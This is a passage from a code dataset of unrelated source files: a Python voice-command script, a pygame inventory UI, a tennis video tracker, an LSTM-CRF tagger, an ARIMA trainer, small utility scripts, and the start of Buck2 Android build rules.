sample\n channels = 1\n fs = 44100 # Record at 44100 samples per second\n seconds = 3\n filename = \"tempOutput.wav\"\n\n if os.path.isfile(filename):\n os.remove(filename)\n\n p = pyaudio.PyAudio()\n\n print('-------------')\n print('Recording')\n\n stream = p.open(format=sample_format, channels=channels, rate=fs, frames_per_buffer=chunk, input=True)\n\n frames = [] # Initialize array to store frames\n\n # Store data in chunks for n seconds\n for i in range(0, int(fs / chunk * seconds)):\n data = stream.read(chunk, exception_on_overflow=False)\n frames.append(data)\n\n stream.stop_stream()\n stream.close()\n\n p.terminate()\n\n print('Finished recording')\n\n wf = wave.open(filename, 'wb')\n wf.setnchannels(channels)\n wf.setsampwidth(p.get_sample_size(sample_format))\n wf.setframerate(fs)\n wf.writeframes(b''.join(frames))\n wf.close()\n\n r = sr.Recognizer()\n\n file = sr.AudioFile('tempOutput.wav')\n with file as source:\n audio = r.record(source)\n\n try:\n print(r.recognize_google(audio))\n if 'Jarvis' in r.recognize_google(audio).split():\n getCommand()\n except sr.UnknownValueError:\n print('I was unable to understand what you said')\n except:\n print('Something went wrong, please try again later')\n\ndef second():\n today = date.today()\n weekDays = [0, 1, 2, 3, 4]\n if today.weekday() in weekDays:\n if dt.utcnow().hour > 7 and dt.utcnow().minute > 45 and dt.utcnow().hour < 17:\n print('Recording audio for today')\n recordDailyAudioFunc()\n\ndef getCommand():\n r = sr.Recognizer()\n m = sr.Microphone()\n\n print('Listening for command...')\n\n with m as source:\n r.adjust_for_ambient_noise(source, duration=0.5)\n audio = r.listen(source)\n try:\n text = r.recognize_google(audio, show_all=True)\n print(text['alternative'])\n doCommand(text)\n except sr.UnknownValueError:\n print('I was unable to understand what you said')\n except:\n print('Something went wrong, please try again later')\n print('-------------')\n\ndef doCommand(command):\n alts = command['alternative']\n commands = []\n for command in alts:\n commands.append(command['transcript'])\n\n if 'turn on the LEDs' in commands:\n print('Turning on the LEDs')\n time.sleep(1)\n elif 'bring down the blinds' in commands:\n print('Bringing down the blinds')\n time.sleep(1)\n elif 'bring up the blinds' in commands:\n print('Bringing up the blinds')\n time.sleep(1)\n\nif __name__ == '__main__':\n t1 = threading.Thread(target=main)\n t2 = threading.Thread(target=second)\n\n t1.start()\n t2.start()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"582937346","text":"import pygame\r\nimport colors\r\n\r\nfont_height = 10\r\ndo_antialias = True\r\n\r\npygame.font.init()\r\ndefault_font = pygame.font.Font(pygame.font.get_default_font(), font_height)\r\n\r\n\r\ndef common_draw(self, surface, dest):\r\n\tsurface.blit(self.render(), dest)\r\ndef qrender(text,color=colors.text):\r\n\treturn default_font.render(text, do_antialias, color)\r\n\r\n\r\nclass UIElement:\r\n\tdraw = common_draw\r\n\tdef __init__(self,pos=None):\r\n\t\t# Given attribute game\r\n\t\tself.hidden = False\r\n\t\tself.pos = pos\r\n\t\tif self.pos is not None:\r\n\t\t\tsize = self.render().get_size()\r\n\t\t\tself.bound = (pos[0]+size[0],pos[1]+size[1])\r\n\tdef on_click(self,button,pos): # 1 is LMB, 3 is RMB\r\n\t\tpass\r\n\tdef toggle_visibility(self):\r\n\t\tself.hidden = not self.hidden\r\n\tdef in_bounds(self,pos): # don't call this unless the element has a specified pos\r\n\t\treturn self.pos[0] <= pos[0] <= self.bound[0] and self.pos[1] <= pos[1] <= self.bound[1]\r\n\r\nclass Monitor(UIElement):\r\n\theight = font_height + 2\r\n\tdef __init__(self, func, pos=None):\r\n\t\tself.func = func\r\n\t\tsuper().__init__(pos=pos)\r\n\r\n\tdef render(self):\r\n\t\treturn qrender(str(self.func()))\r\n\r\nclass ItemStackPanel(UIElement):\r\n\r\n\tslot_width = 32\r\n\tslot_height = 32\r\n\r\n\tdef __init__(self, inventory, index, pos=None):\r\n\t\tself.inventory = inventory\r\n\t\tself.index = index\r\n\t\tself.stack = self.get_stack()\r\n\t\tsuper().__init__(pos=pos)\r\n\r\n\tdef render(self):\r\n\t\tbase = pygame.surface.Surface((self.slot_width,self.slot_height))\r\n\t\tbase.fill(colors.inv_panel_slots, (0, 0, self.slot_width, self.slot_height))\r\n\t\tif not self.stack.is_empty():\r\n\t\t\tbase.blit(qrender(str(self.stack.get_item()),color=colors.black),(1,1))\r\n\t\t\tbase.blit(qrender(str(self.stack.get_count()),color=colors.black),(1,self.slot_height-10))\r\n\t\treturn base\r\n\r\n\tdef get_stack(self):\r\n\t\treturn self.inventory[self.index]\r\n\r\nclass InventoryPanel(UIElement):\r\n\r\n\tgap = 4\r\n\r\n\tdef __init__(self, inventory, size, pos=None):\r\n\t\tself.size = size # :: w,h in slots\r\n\t\tself.slot_panels = [] # :: [(ItemStackPanel, (sx,sy))]\r\n\t\tself.inventory = inventory\r\n\r\n\t\tslots,x,y = 0,self.gap,self.gap\r\n\t\ti = 0\r\n\t\tfor slot_pos in self.iter_slot_pos():\r\n\t\t\tself.slot_panels.append((ItemStackPanel(self.inventory,i),slot_pos))\r\n\t\t\ti += 1\r\n\t\t\tif i == len(self.inventory): break\r\n\r\n\t\tself.height = self.size[1] + 2\r\n\t\tsuper().__init__(pos=pos)\r\n\r\n\tdef iter_slot_pos(self):\r\n\t\tx,y = 0,0\r\n\t\twhile y <= self.size[1]:\r\n\t\t\tyield (self.gap+x*(ItemStackPanel.slot_width+self.gap),self.gap+y*(ItemStackPanel.slot_height+self.gap))\r\n\t\t\tx += 1\r\n\t\t\tif x == self.size[0]:\r\n\t\t\t\tx = 0; y += 1\r\n\r\n\tdef on_click(self,button,pos):\r\n\t\tx,y = 0,0\r\n\t\tfor pair in self.slot_panels: # (slot, (x,y))\r\n\t\t\tex,ey=(x+1)*(ItemStackPanel.slot_width+self.gap),(y+1)*(ItemStackPanel.slot_height+self.gap)\r\n\t\t\tif pair[1][0] <= pos[0] <= ex and pair[1][1] <= pos[1] <= ey:\r\n\t\t\t\tif self.game.cursor_has_item() and pair[0].get_stack().can_merge_with(self.game.cursor_itemstack_panel.get_stack()) and pair[0] is not self.game.cursor_itemstack_panel:\r\n\t\t\t\t\tpair[0].get_stack().merge(self.game.cursor_itemstack_panel.get_stack())\r\n\t\t\t\t\tself.game.cursor_itemstack_panel.get_stack().clear()\r\n\t\t\t\t\tself.game.cursor_cancel()\r\n\t\t\t\telif not pair[0].get_stack().is_empty():\r\n\t\t\t\t\tself.game.cursor_pickup(pair[0])\r\n\t\t\t\tbreak\r\n\t\t\tx += 1\r\n\t\t\tif x == self.size[0]:\r\n\t\t\t\tx=0;y+=1\r\n\r\n\tdef render(self):\r\n\t\tbase = pygame.surface.Surface((self.size[0]*(ItemStackPanel.slot_width+self.gap)+self.gap,self.size[1]*(ItemStackPanel.slot_height+self.gap)+self.gap))\r\n\t\tbase.fill(colors.inv_panel_backdrop)\r\n\t\tx,y = self.gap,self.gap\r\n\t\tfor pair in self.slot_panels:\r\n\t\t\tbase.blit(pair[0].render(),pair[1])\r\n\t\treturn base","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"465794533","text":"#-*- coding:utf-8 -*-\nimport cv2\nimport numpy as np\nimport os\nimport math\nimport csv\nimport gc\n\ndef InitializingTLD(player, box, iniframe):\n player = cv2.TrackerTLD_create()\n box = (0, 0, 10, 10)\n box = cv2.selectROI(iniframe, False)\n ok = player.init(iniframe, box)\n cv2.destroyAllWindows()\n return player, box\ndef TrackingLearningAndDetection(player, flist, box, color):\n rate = 0.14\n pos = []\n for i in range(len(flist)):\n if (i/len(flist) >= rate):\n print(str(round(rate*100))+'%')\n rate = rate + 0.14\n track, box = player.update(flist[i])\n center = ((box[0]+box[0]+box[2])/2, (box[1]+box[1]+box[3])/2)\n pos.append(center)\n if track:\n lp1 = (int(box[0]), int(box[1]))\n lp2 = (int(box[0] + box[2]), int(box[1] + box[3]))\n cv2.rectangle(flist[i], lp1, lp2, color, 2, 1)\n else:\n pos[i] = pos[i-1]\n cv2.putText(flist[i], \"Failure\", (10,50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 1, cv2.LINE_AA);\n return pos\ndef CalculatingMigrationDistance(pos):\n MigDis = []\n MigDis.append(0.0)\n for i in range(1, len(pos)):\n _xu = pos[i][0] - pos[i-1][0]\n _xd = pos[i][1] - pos[i-1][1]\n x = math.sqrt(math.pow(_xd,2) + math.pow(_xu,2))\n MigDis.append(x)\n return MigDis\ndef CalculatingDiffFromServicePosition(cx, cy, pos):\n c_diff = []\n c_diff.append(0.0)\n for i in range(1, len(pos)):\n _cx = cx - pos[i][0]\n _cy = cy - pos[i][1]\n x = math.sqrt(math.pow(_cx,2) + math.pow(_cy,2))\n c_diff.append(x)\n return c_diff\ndef Normalizing(list):\n list_max = max(list)\n for i in range(len(list)):\n list[i] = list[i]/list_max\n if (list[i] >= 0.8):\n list[i] = list[i-1]\n list_max = max(list)\n for i in range(len(list)):\n list[i] = list[i]/list_max\ndef Listing_Windows(list, window):\n new_list = []\n for i in range(window):\n x = 0\n for j in range(i+1):\n x = x + list[j]\n x = x/(i+1)\n new_list.append(x)\n for i in range(window, len(list)):\n x = 0\n for j in range(i-window, i):\n x = x + list[j]\n x = x/window\n new_list.append(x)\n return new_list\ndef many_element_window(list, index):\n w_list = []\n for i in range(math.floor(index/2)):\n w_list.append(False)\n for i in range(math.floor(index/2), len(list)-math.floor(index/2)):\n count = 0\n for j in range(i-math.floor(index/2), i+math.floor(index/2)):\n if (list[j] == True):\n count = count+1\n else:\n count = count-1\n if (count > 0):\n w_list.append(True)\n elif (count < 0):\n w_list.append(False)\n else:\n w_list.append(list[i])\n for i in range(math.floor(index/2)):\n w_list.append(False)\n return w_list\ndef converting2num(list):\n inplay = 1\n out = -1\n new_list = []\n for i in range(len(list)):\n if (list[i] == True):\n new_list.append(inplay)\n else:\n new_list.append(out)\n return new_list\ndef detectinterval(list, space):\n new_list = []\n for i in range(len(list)):\n new_list.append(list[i])\n for i in range(20, len(new_list)-space):\n if (new_list[i-1] == True and new_list[i] == False):\n count_in = 0\n for j in range(i, i+space):\n if (new_list[j] == True):\n count_in = count_in+1\n if (count_in <= space*0.5):\n for j in range(i, i+space):\n new_list[j] = False\n i = i+int(space*0.9)\n else:\n i = i+int(space*0.3)\n return new_list\ndef copyList(list):\n new_list = []\n for i in range(len(list)):\n new_list.append(list[i])\n return new_list\ndef repair_out(list):\n new_list = []\n for i in range(len(list)):\n new_list.append(list[i])\n for i in range(len(new_list)):\n if (new_list[i] == True):\n in_prev = 0\n for j in range(i, len(new_list)):\n if (new_list[j] == True):\n in_prev = in_prev + 1\n else:\n break\n\n out_count = 0\n for j in range(i+in_prev, len(new_list)):\n if (new_list[j] == False):\n out_count = out_count + 1\n else:\n break\n\n in_next = 0\n for j in range(i+in_prev+out_count, len(new_list)):\n if (new_list[j] == True):\n in_next = in_next + 1\n else:\n break\n\n if (int((in_prev+in_next)*0.9) >= out_count and out_count <= 80):\n for j in range(i+in_prev, i+in_prev+out_count):\n new_list[j] = True\n i = i + in_prev + out_count + in_next\n return new_list\ndef repair_inplay(list):\n new_list = []\n for i in range(len(list)):\n new_list.append(list[i])\n\n in_count = 0\n for i in range(len(list)):\n if (new_list[i] == True):\n in_count = in_count + 1\n else:\n if (in_count <= 60 and in_count > 0):\n for j in range(i - in_count, i):\n new_list[j] = False\n in_count = 0\n return new_list\n\n\n# 動画ファイル読み込み\nvn = 'data1_S_6' # 動画ファイル名\nprint('Reading a video file ['+ str(vn) +'] ...')\ncap = cv2.VideoCapture('capDatas/'+ vn +'.mp4')\n\n# 動画情報の取得\nfnum = int(math.floor(cap.get(cv2.CAP_PROP_FRAME_COUNT)))\nfps = int(math.ceil(cap.get(cv2.CAP_PROP_FPS)))\nW = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nH = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\nfourcc = cap.get(cv2.CAP_PROP_FOURCC)\nfnum = int(0.999*fnum)\nprint('fnum : '+ str(fnum))\n\n\nprint('Reading frames ...')\nframe_list = []\nfor i in range(fnum):\n ret, frame = cap.read()\n frame_list.append(frame)\ncap.release()\n\n\nprint('Clipping Player ...')\nprint('Left')\nleft_list = []\nfor i in range(fnum):\n left_img = frame_list[i][int(H*0.4):H, 0:int(W*0.7)]\n left_list.append(left_img)\ndel left_img\nprint('Right')\nright_list = []\nfor i in range(fnum):\n right_img = frame_list[i][int(H*0.4):int(H*0.6), int(W*0.45):int(W*0.87)]\n right_list.append(right_img)\ndel right_img\ngc.collect()\n\n\nLplayer, Lb = None, None\nLplayer, Lb = InitializingTLD(Lplayer, Lb, left_list[0])\nRplayer, Rb = None, None\nRplayer, Rb = InitializingTLD(Rplayer, Rb, right_list[0])\n\n\nprint('Tracking Learning and Detection ...')\nprint('Left')\nLpos = TrackingLearningAndDetection(Lplayer, left_list, Lb, (0,255,0))\nprint('Right')\nRpos = TrackingLearningAndDetection(Rplayer, right_list, Rb, (255,0,0))\n\nwindow_num = 10\nprint('Calculating migration distance ...')\nLdis = CalculatingMigrationDistance(Lpos)\nRdis = CalculatingMigrationDistance(Rpos)\nLdis_w = Listing_Windows(Ldis, window_num)\nRdis_w = Listing_Windows(Rdis, window_num)\n\n\nprint('Normalizing migration distance ...')\nNormalizing(Ldis)\nNormalizing(Rdis)\nNormalizing(Ldis_w)\nNormalizing(Rdis_w)\n\n\nprint('Calculating diff from service position ...')\nLcd = CalculatingDiffFromServicePosition(530, 90, Lpos)\nRcd = CalculatingDiffFromServicePosition(363, 70, Rpos)\nLcd_w = Listing_Windows(Lcd, window_num)\nRcd_w = Listing_Windows(Rcd, window_num)\n\n\nprint('Normalizing migration distance ...')\nNormalizing(Lcd)\nNormalizing(Rcd)\nNormalizing(Lcd_w)\nNormalizing(Rcd_w)\n\n\nprint('Calculating average ...')\nLdis_ave = sum(Ldis_w)/fnum\nLc_ave = sum(Lcd_w)/fnum\nRdis_ave = sum(Rdis_w)/fnum\nRc_ave = sum(Rcd_w)/fnum\nprint('Ldis_ave :'+ str(Ldis_ave))\nprint('Lc_ave : '+ str(Lc_ave))\nprint('Rdis_ave :'+ str(Rdis_ave))\nprint('Rc_ave : '+ str(Rc_ave))\n\n\n# 移動距離の平均で閾値\nprint('Detecting Rally ...')\nPL1 = []\nfor i in range(fnum):\n if (Ldis_w[i] <= Ldis_ave and Rdis_w[i] <= Rdis_ave):\n PL1.append(False) # Out of Play\n else:\n PL1.append(True)\nPL2 = copyList(PL1)\nfor i in range(fnum):\n if (Lcd_w[i] <= Lc_ave and Rcd_w[i] <= Rc_ave):\n PL2[i] = False\n else:\n PL2[i] = True\n\nPL3 = many_element_window(PL1, 9)\nPL4 = many_element_window(PL2, 15)\nPL5 = detectinterval(PL4, 170)\nPL6 = repair_out(PL5)\nPL7 = repair_inplay(PL6)\n\n\nprint('Saving data in Excel ...')\nf = open(vn+'_serve.csv','w')\nwriter = csv.writer(f, lineterminator='\\n')\n\nwriter.writerow(Ldis)\nwriter.writerow(Rdis)\nwriter.writerow(Ldis_w)\nwriter.writerow(Rdis_w)\nwriter.writerow(Lcd)\nwriter.writerow(Rcd)\nwriter.writerow(Lcd_w)\nwriter.writerow(Rcd_w)\nwriter.writerow(converting2num(PL1))\nwriter.writerow(converting2num(PL2))\nwriter.writerow(converting2num(PL3))\nwriter.writerow(converting2num(PL4))\nwriter.writerow(converting2num(PL5))\nwriter.writerow(converting2num(PL6))\nwriter.writerow(converting2num(PL7))\n","sub_path":"play_detect_single.py","file_name":"play_detect_single.py","file_ext":"py","file_size_in_byte":8836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"597140972","text":"# Author: cr4zjh0bp\n# Created: Sun Mar 29 05:26:08 UTC 2020\nimport sys\n \nstdin = sys.stdin\ninf = 1 << 60\nmod = 1000000007\n \nni = lambda: int(ns())\nnin = lambda y: [ni() for _ in range(y)]\nna = lambda: list(map(int, stdin.readline().split()))\nnan = lambda y: [na() for _ in range(y)]\nnf = lambda: float(ns())\nnfn = lambda y: [nf() for _ in range(y)]\nnfa = lambda: list(map(float, stdin.readline().split()))\nnfan = lambda y: [nfa() for _ in range(y)]\nns = lambda: stdin.readline().rstrip()\nnsn = lambda y: [ns() for _ in range(y)]\nncl = lambda y: [list(ns()) for _ in range(y)]\nnas = lambda: stdin.readline().split()\n\nn = ni()\ns = ns()\n\ndef ok(p):\n k = 0\n for i in range(n):\n if s[i] == p[k]:\n k += 1\n if k == 3:\n return True\n return False\n\nans = 0\nfor i in range(1000):\n p = \"{:0>3}\".format(i)\n if ok(p):\n ans += 1\n\nprint(ans)\n","sub_path":"src/abak.py","file_name":"abak.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"409530177","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 24 20:40:00 2017\n\n@author: c131305\n\"\"\"\n\nimport random\n\n\ndef random_item(my_list):\n max_number = len(my_list)-1\n my_number = random.randint(0,max_number)\n print(my_list[my_number])\n return True\n\n\ndef main():\n my_list=[\n \"Frank\",\n \"Yavuz\",\n \"Cihan\",\n \"Mustafa\"\n ]\n random_item(my_list)\n print(\"End!\")\n return True\n \n\nmain() ","sub_path":"Py_Treehouse/T_Py_U1_Basics/Lists/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"142190072","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import datetime, timedelta\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\nfrom modules import CRF\n\n\nclass LSTM_CRF(nn.Module):\n\n def __init__(self, n_vocab, n_embed, n_hidden, n_out, drop=0.5):\n super(LSTM_CRF, self).__init__()\n\n self.embed = nn.Embedding(n_vocab, n_embed)\n # 词嵌入LSTM层\n self.lstm = nn.LSTM(input_size=n_embed,\n hidden_size=n_hidden,\n batch_first=True,\n bidirectional=True)\n\n # 输出层\n self.out = nn.Linear(n_hidden * 2, n_out)\n # CRF层\n self.crf = CRF(n_out)\n\n self.drop = nn.Dropout(drop)\n\n def load_pretrained(self, embed):\n self.embed = nn.Embedding.from_pretrained(embed, False)\n\n def forward(self, x, lens):\n B, T = x.shape\n # 获取词嵌入向量\n x = self.embed(x)\n x = self.drop(x)\n\n x = pack_padded_sequence(x, lens, True)\n x, _ = self.lstm(x)\n x, _ = pad_packed_sequence(x, True)\n x = self.drop(x)\n\n return self.out(x)\n\n def fit(self, train_loader, dev_loader, test_loader,\n epochs, interval, eta, file):\n # 记录迭代时间\n total_time = timedelta()\n # 记录最大准确率及对应的迭代次数\n max_e, max_acc = 0, 0.0\n # 设置优化器为Adam\n self.optimizer = optim.Adam(params=self.parameters(), lr=eta)\n\n for epoch in range(1, epochs + 1):\n start = datetime.now()\n # 更新参数\n self.update(train_loader)\n\n print(f\"Epoch: {epoch} / {epochs}:\")\n loss, train_acc = self.evaluate(train_loader)\n print(f\"{'train:':<6} Loss: {loss:.4f} Accuracy: {train_acc:.2%}\")\n loss, dev_acc = self.evaluate(dev_loader)\n print(f\"{'dev:':<6} Loss: {loss:.4f} Accuracy: {dev_acc:.2%}\")\n loss, test_acc = self.evaluate(test_loader)\n print(f\"{'test:':<6} Loss: {loss:.4f} Accuracy: {test_acc:.2%}\")\n t = datetime.now() - start\n print(f\"{t}s elapsed\\n\")\n total_time += t\n\n # 保存效果最好的模型\n if dev_acc > max_acc:\n torch.save(self, file)\n max_e, max_acc = epoch, dev_acc\n elif epoch - max_e >= interval:\n break\n print(f\"max accuracy of dev is {max_acc:.2%} at epoch {max_e}\")\n print(f\"mean time of each epoch is {total_time / epoch}s\\n\")\n\n def update(self, loader):\n # 设置为训练模式\n self.train()\n\n # 从加载器中加载数据进行训练\n for x, y, lens in loader:\n # 清除梯度\n self.optimizer.zero_grad()\n # 获取掩码\n mask = x.gt(0)\n target = y[mask]\n\n out = self(x, lens)\n out = out.transpose(0, 1) # [T, B, N]\n y, mask = y.t(), mask.t() # [T, B]\n loss = self.crf(out, y, mask)\n # 计算梯度\n loss.backward()\n # 更新参数\n self.optimizer.step()\n\n @torch.no_grad()\n def evaluate(self, loader):\n # 设置为评价模式\n self.eval()\n\n loss, tp, total = 0, 0, 0\n # 从加载器中加载数据进行评价\n for x, y, lens in loader:\n mask = x.gt(0)\n target = y[mask]\n\n out = self.forward(x, lens)\n out = out.transpose(0, 1) # [T, B, N]\n y, mask = y.t(), mask.t() # [T, B]\n predict = self.crf.viterbi(out, mask)\n loss += self.crf(out, y, mask)\n tp += torch.sum(predict == target).item()\n total += lens.sum().item()\n loss /= len(loader)\n\n return loss, tp / total\n\n def collate_fn(self, data):\n x, y, lens = zip(\n *sorted(data, key=lambda x: x[-1], reverse=True)\n )\n max_len = lens[0]\n x = torch.stack(x)[:, :max_len]\n y = torch.stack(y)[:, :max_len]\n lens = torch.tensor(lens)\n\n return x, y, lens\n","sub_path":"models/lstm_crf.py","file_name":"lstm_crf.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"530790347","text":"import sys\r\nimport json\r\nfrom statsmodels.tsa.arima_model import ARIMA\r\nimport numpy as np\r\n\r\nif (len(sys.argv) > 1):\r\n # handle arguments\r\n try:\r\n inputDataFileName = sys.argv[1]\r\n outputDataFileName = sys.argv[2]\r\n arOrder = int(sys.argv[3])\r\n iOrder = int(sys.argv[4])\r\n maOrder = int(sys.argv[5])\r\n #steps = int(sys.argv[6])\r\n\r\n # read input file\r\n inputDataFile = open(inputDataFileName, \"r\")\r\n inputDataStr = inputDataFile.read()\r\n inputDataFile.close()\r\n inputData = json.loads(inputDataStr)\r\n\r\n # default parameters\r\n alpha = .05\r\n\r\n # do computations\r\n x = np.array(inputData)\r\n model = ARIMA(x, order = (arOrder, iOrder, maOrder))\r\n model_fit = model.fit(disp = False)\r\n\r\n if isinstance(model, ARIMA):\r\n k_diff = model_fit.k_diff\r\n else:\r\n k_diff = 0\r\n \r\n # compute evaluation metrics https://otexts.com/fpp2/accuracy.html\r\n res = model_fit.resid # residual errors\r\n rmse = 0 \r\n rmse = np.sqrt(np.mean(np.square(res)))\r\n mae = np.mean(np.abs(res))\r\n\r\n # pass nodel parameters to json\r\n model_params = {'arparams': model_fit.arparams.tolist(), 'maparams': model_fit.maparams.tolist(), 'k_diff': k_diff, 'sigma2': model_fit.sigma2, 'method': model_fit.model.method, 'alpha': alpha}\r\n fit_metrics = {'RootMeanSquareError': rmse, 'MeanAbsoluteError': mae,}\r\n result = {'fitMetrics' : fit_metrics, 'modelParameters': model_params}\r\n except Exception as e:\r\n result = {\"error\": str(e)}\r\n # write output file\r\n outputDataStr = json.dumps(result)\r\n outputDataFile = open(outputDataFileName, \"w\")\r\n outputDataFile.write(outputDataStr)\r\n outputDataFile.close()\r\n\r\nsys.stdout.flush()\r\n","sub_path":"services/prediction/arimatrain/arimatrain.py","file_name":"arimatrain.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"605166734","text":"import pandas as pd\n\nleiden = pd.read_csv('data/leiden2.csv', index_col = [0])\ngenes = leiden.index.tolist()\nclusters = leiden['leiden'].tolist()\n\nfor index, value in enumerate(clusters):\n f = open('leidenClusters/cluster' + str(value) + '.txt', 'a+')\n f.write(genes[index] + '\\n')\n f.close()","sub_path":"python/parseLeiden.py","file_name":"parseLeiden.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"482865094","text":"# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# This source code is licensed under both the MIT license found in the\n# LICENSE-MIT file in the root directory of this source tree and the Apache\n# License, Version 2.0 found in the LICENSE-APACHE file in the root directory\n# of this source tree.\n\nload(\"@prelude//:attributes.bzl\", \"AaptMode\", \"DuplicateResourceBehaviour\", \"TargetCpuType\")\nload(\"@prelude//java:dex_toolchain.bzl\", \"DexToolchainInfo\")\nload(\"@prelude//java:java.bzl\", \"AbiGenerationMode\", \"dex_min_sdk_version\", \"select_java_test_toolchain\")\nload(\"@prelude//java:java_toolchain.bzl\", \"JavaPlatformInfo\", \"JavaTestToolchainInfo\", \"JavaToolchainInfo\")\nload(\"@prelude//kotlin:kotlin_toolchain.bzl\", \"KotlinToolchainInfo\")\nload(\"@prelude//genrule.bzl\", \"genrule_attributes\")\nload(\":android_aar.bzl\", \"android_aar_impl\")\nload(\":android_apk.bzl\", \"android_apk_impl\")\nload(\":android_build_config.bzl\", \"android_build_config_impl\")\nload(\":android_instrumentation_apk.bzl\", \"android_instrumentation_apk_impl\")\nload(\":android_instrumentation_test.bzl\", \"android_instrumentation_test_impl\")\nload(\":android_library.bzl\", \"android_library_impl\")\nload(\":android_manifest.bzl\", \"android_manifest_impl\")\nload(\":android_prebuilt_aar.bzl\", \"android_prebuilt_aar_impl\")\nload(\":android_resource.bzl\", \"android_resource_impl\")\nload(\":android_toolchain.bzl\", \"AndroidPlatformInfo\", \"AndroidToolchainInfo\")\nload(\":apk_genrule.bzl\", \"apk_genrule_impl\")\nload(\":configuration.bzl\", \"cpu_split_transition\", \"cpu_split_transition_instrumentation_test_apk\", \"cpu_transition\", \"do_not_build_only_native_code_transition\", \"is_building_android_binary_attr\")\nload(\":gen_aidl.bzl\", \"gen_aidl_impl\")\nload(\":prebuilt_native_library.bzl\", \"prebuilt_native_library_impl\")\nload(\":robolectric_test.bzl\", \"robolectric_test_impl\")\nload(\":voltron.bzl\", \"android_app_modularity_impl\")\n\ndef android_toolchain():\n return attrs.toolchain_dep(\n # FIXME: prelude// should be standalone (not refer to fbcode//)\n default = \"fbcode//buck2/platform/toolchain:android\",\n providers = [\n AndroidPlatformInfo,\n AndroidToolchainInfo,\n ],\n )\n\ndef _dex_toolchain():\n return attrs.toolchain_dep(\n # FIXME: prelude// should be standalone (not refer to fbcode//)\n default = \"fbcode//buck2/platform/toolchain:dex_for_android\",\n providers = [\n DexToolchainInfo,\n ],\n )\n\ndef java_toolchain_for_android():\n return attrs.toolchain_dep(\n # FIXME: prelude// should be standalone (not refer to fbcode//)\n default = \"fbcode//buck2/platform/toolchain:java_for_android\",\n providers = [\n JavaPlatformInfo,\n JavaToolchainInfo,\n ],\n )\n\ndef java_toolchain_for_android_test():\n return attrs.toolchain_dep(\n # FIXME: prelude// should be standalone (not refer to fbcode//)\n default = \"fbcode//buck2/platform/toolchain:java_for_host_test\",\n providers = [\n JavaPlatformInfo,\n JavaToolchainInfo,\n ],\n )\n\ndef _kotlin_toolchain():\n return attrs.toolchain_dep(\n # FIXME: prelude// should be standalone (not refer to fbcode//)\n default = \"fbcode//buck2/platform/toolchain:kotlin\",\n providers = [\n KotlinToolchainInfo,\n ],\n )\n\ndef is_build_only_native_code():\n return select(\n {\n \"DEFAULT\": False,\n \"fbsource//xplat/buck2/platform/android:build_only_native_code\": True,\n },\n )\n\nimplemented_rules = {\n \"android_aar\": android_aar_impl,\n \"android_app_modularity\": android_app_modularity_impl,\n \"android_binary\": android_apk_impl,\n \"android_build_config\": android_build_config_impl,\n \"android_instrumentation_apk\": android_instrumentation_apk_impl,\n \"android_instrumentation_test\": android_instrumentation_test_impl,\n \"android_library\": android_library_impl,\n \"android_manifest\": android_manifest_impl,\n \"android_prebuilt_aar\": android_prebuilt_aar_impl,\n \"android_resource\": android_resource_impl,\n \"apk_genrule\": apk_genrule_impl,\n \"gen_aidl\": gen_aidl_impl,\n \"prebuilt_native_library\": prebuilt_native_library_impl,\n \"robolectric_test\": robolectric_test_impl,\n}\n\n# Can't load `read_bool` here because it will cause circular load.\nFORCE_SINGLE_CPU = read_config(\"buck2\", \"android_force_single_cpu\") in (\"True\", \"true\")\nFORCE_SINGLE_DEFAULT_CPU = read_config(\"buck2\", \"android_force_single_default_cpu\") in (\"True\", \"true\")\n\nextra_attributes = {\n \"android_aar\": {\n \"abi_generation_mode\": attrs.option(attrs.enum(AbiGenerationMode), default = None),\n \"resources_root\": attrs.option(attrs.string(), default = None),\n },\n \"android_app_modularity\": {\n \"_android_toolchain\": android_toolchain(),\n \"_build_only_native_code\": attrs.default_only(attrs.bool(default = is_build_only_native_code())),\n },\n \"android_binary\": {\n \"aapt_mode\": attrs.enum(AaptMode, default = \"aapt1\"), # Match default in V1\n \"application_module_configs\": attrs.dict(key = attrs.string(), value = attrs.list(attrs.transition_dep(cfg = cpu_transition)), sorted = False, default = {}),\n \"build_config_values_file\": attrs.option(attrs.one_of(attrs.transition_dep(cfg = cpu_transition), attrs.source()), default = None),\n \"deps\": attrs.list(attrs.split_transition_dep(cfg = cpu_split_transition), default = []),\n \"dex_tool\": attrs.string(default = \"d8\"), # Match default in V1\n \"duplicate_resource_behavior\": attrs.enum(DuplicateResourceBehaviour, default = \"allow_by_default\"), # Match default in V1\n \"manifest\": attrs.option(attrs.one_of(attrs.transition_dep(cfg = cpu_transition), attrs.source()), default = None),\n \"manifest_skeleton\": attrs.option(attrs.one_of(attrs.transition_dep(cfg = cpu_transition), attrs.source()), default = None),\n \"min_sdk_version\": attrs.option(attrs.int(), default = None),\n \"module_manifest_skeleton\": attrs.option(attrs.one_of(attrs.transition_dep(cfg = cpu_transition), attrs.source()), default = None),\n \"_android_toolchain\": 